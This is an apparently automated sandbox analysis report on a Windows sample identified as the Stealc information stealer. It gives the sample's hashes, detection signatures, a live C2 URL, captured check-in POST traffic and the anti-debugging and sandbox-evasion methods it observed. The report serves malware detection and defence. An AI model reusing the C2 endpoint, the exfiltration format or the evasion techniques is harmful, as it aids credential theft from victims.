Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520589
MD5:	ad0c6bd7353136531af5325034613533
SHA1:	ee44d2b2e6ad3e32da9c074b5b880e4947c4970c
SHA256:	5947b0b670dbb94778390c83aeb091874f10cb952b2dc3c459ac0e23f380a523
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6172 cmdline: "C:\Users\user\Desktop\file.exe" MD5: AD0C6BD7353136531AF5325034613533)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2105603461.0000000005650000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6172	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6172	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.ec0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-27T16:17:12.173171+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.ec0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00ECC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00EC9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00EC7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00EC9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00ED8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ED4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00ECE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00ED4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00ECED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EC16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00EC16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ED3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00ED3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECF68A FindFirstFileA,	0_2_00ECF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00ECBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00ECDE10

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 46 35 37 35 30 39 34 33 44 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="hwid"CF5750943D0B612331747------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="build"save------JKECFCFBGDHIECAAFIID--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00EC4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00EC4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 46 35 37 35 30 39 34 33 44 30 42 36 31 32 33 33 31 37 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="hwid"CF5750943D0B612331747------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="build"save------JKECFCFBGDHIECAAFIID--

Source: file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157800068.0000000001BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2157800068.0000000001BB2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/6t
Source: file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2157800068.0000000001BE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php.
Source: file.exe, 00000000.00000002.2157800068.0000000001BC6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.2157800068.0000000001B6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37p

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A	0_2_0128B17A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129E95B	0_2_0129E95B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128C1B7	0_2_0128C1B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129A03D	0_2_0129A03D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129B32B	0_2_0129B32B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0116638E	0_2_0116638E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0129120A	0_2_0129120A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BD26B	0_2_011BD26B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0126EAFD	0_2_0126EAFD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01297D17	0_2_01297D17
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128DD91	0_2_0128DD91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011FCDFA	0_2_011FCDFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012A1FC2	0_2_012A1FC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012946EB	0_2_012946EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128F6F9	0_2_0128F6F9

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00EC45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: llbyxbem ZLIB complexity 0.9949982080354484

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00ED8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00ED3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\256HLV51.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1875456 > 1048576

Source: file.exe

Static PE information: Raw size of llbyxbem is bigger than: 0x100000 < 0x1a3a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.ec0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;llbyxbem:EW;vndwcpmt:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;llbyxbem:EW;vndwcpmt:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ED9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00ED9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cf94b should be: 0x1d61a0

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: llbyxbem
Source: file.exe	Static PE information: section name: vndwcpmt
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B0922 push 0E3C32F7h; mov dword ptr [esp], ebx	0_2_012B0815
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012B813F push eax; mov dword ptr [esp], 231F4C4Dh	0_2_012B81B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA11E push edx; mov dword ptr [esp], 5F6745E3h	0_2_012CA141
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA11E push ecx; mov dword ptr [esp], 7FDE016Ah	0_2_012CA175
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA11E push ebx; mov dword ptr [esp], ebp	0_2_012CA1AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CA11E push 482FE650h; mov dword ptr [esp], ebp	0_2_012CA212
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0134A90D push 70183CF2h; mov dword ptr [esp], esi	0_2_0134A932
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0134A90D push 0ED78B4Bh; mov dword ptr [esp], ebp	0_2_0134A95C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push esi; mov dword ptr [esp], ebx	0_2_0128B1AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ecx; mov dword ptr [esp], 7DDCA5EBh	0_2_0128B1C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ebp; mov dword ptr [esp], edx	0_2_0128B1EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push eax; mov dword ptr [esp], 5B5BC2F1h	0_2_0128B2D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 1A0BF2A8h; mov dword ptr [esp], ebp	0_2_0128B311
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push edx; mov dword ptr [esp], ebp	0_2_0128B31B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 3D354340h; mov dword ptr [esp], eax	0_2_0128B482
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push esi; mov dword ptr [esp], 18819C58h	0_2_0128B4D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ebx; mov dword ptr [esp], esi	0_2_0128B5AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 19FF4F9Ah; mov dword ptr [esp], edx	0_2_0128B637
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ecx; mov dword ptr [esp], 7EBF5DF6h	0_2_0128B63C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 53200ED0h; mov dword ptr [esp], ebx	0_2_0128B684
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push edi; mov dword ptr [esp], 3FFE592Fh	0_2_0128B69B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 59311D72h; mov dword ptr [esp], ebp	0_2_0128B6C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ebp; mov dword ptr [esp], 3CED0877h	0_2_0128B6CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push edi; mov dword ptr [esp], edx	0_2_0128B75D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push eax; mov dword ptr [esp], esi	0_2_0128B7E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ebp; mov dword ptr [esp], edx	0_2_0128B883
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push esi; mov dword ptr [esp], eax	0_2_0128B8EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push 2E35D8B9h; mov dword ptr [esp], ecx	0_2_0128BA66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0128B17A push ebx; mov dword ptr [esp], 7FD7813Bh	0_2_0128BA6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0132616D push ebx; mov dword ptr [esp], edi	0_2_01326186
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012CC14A push 2B5D8858h; mov dword ptr [esp], edi	0_2_012CC186

Source: file.exe

Static PE information: section name: llbyxbem entropy: 7.9547357115051796

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00ED9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13665

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121B24 second address: 1121B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15490E9B96h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1121B46 second address: 1121B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B2FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A724E second address: 12A725A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A725A second address: 12A7293 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1548D0B2FBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1548D0B301h 0x00000012 jmp 00007F1548D0B305h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6321 second address: 12A632C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6488 second address: 12A648D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6762 second address: 12A676A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A676A second address: 12A676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
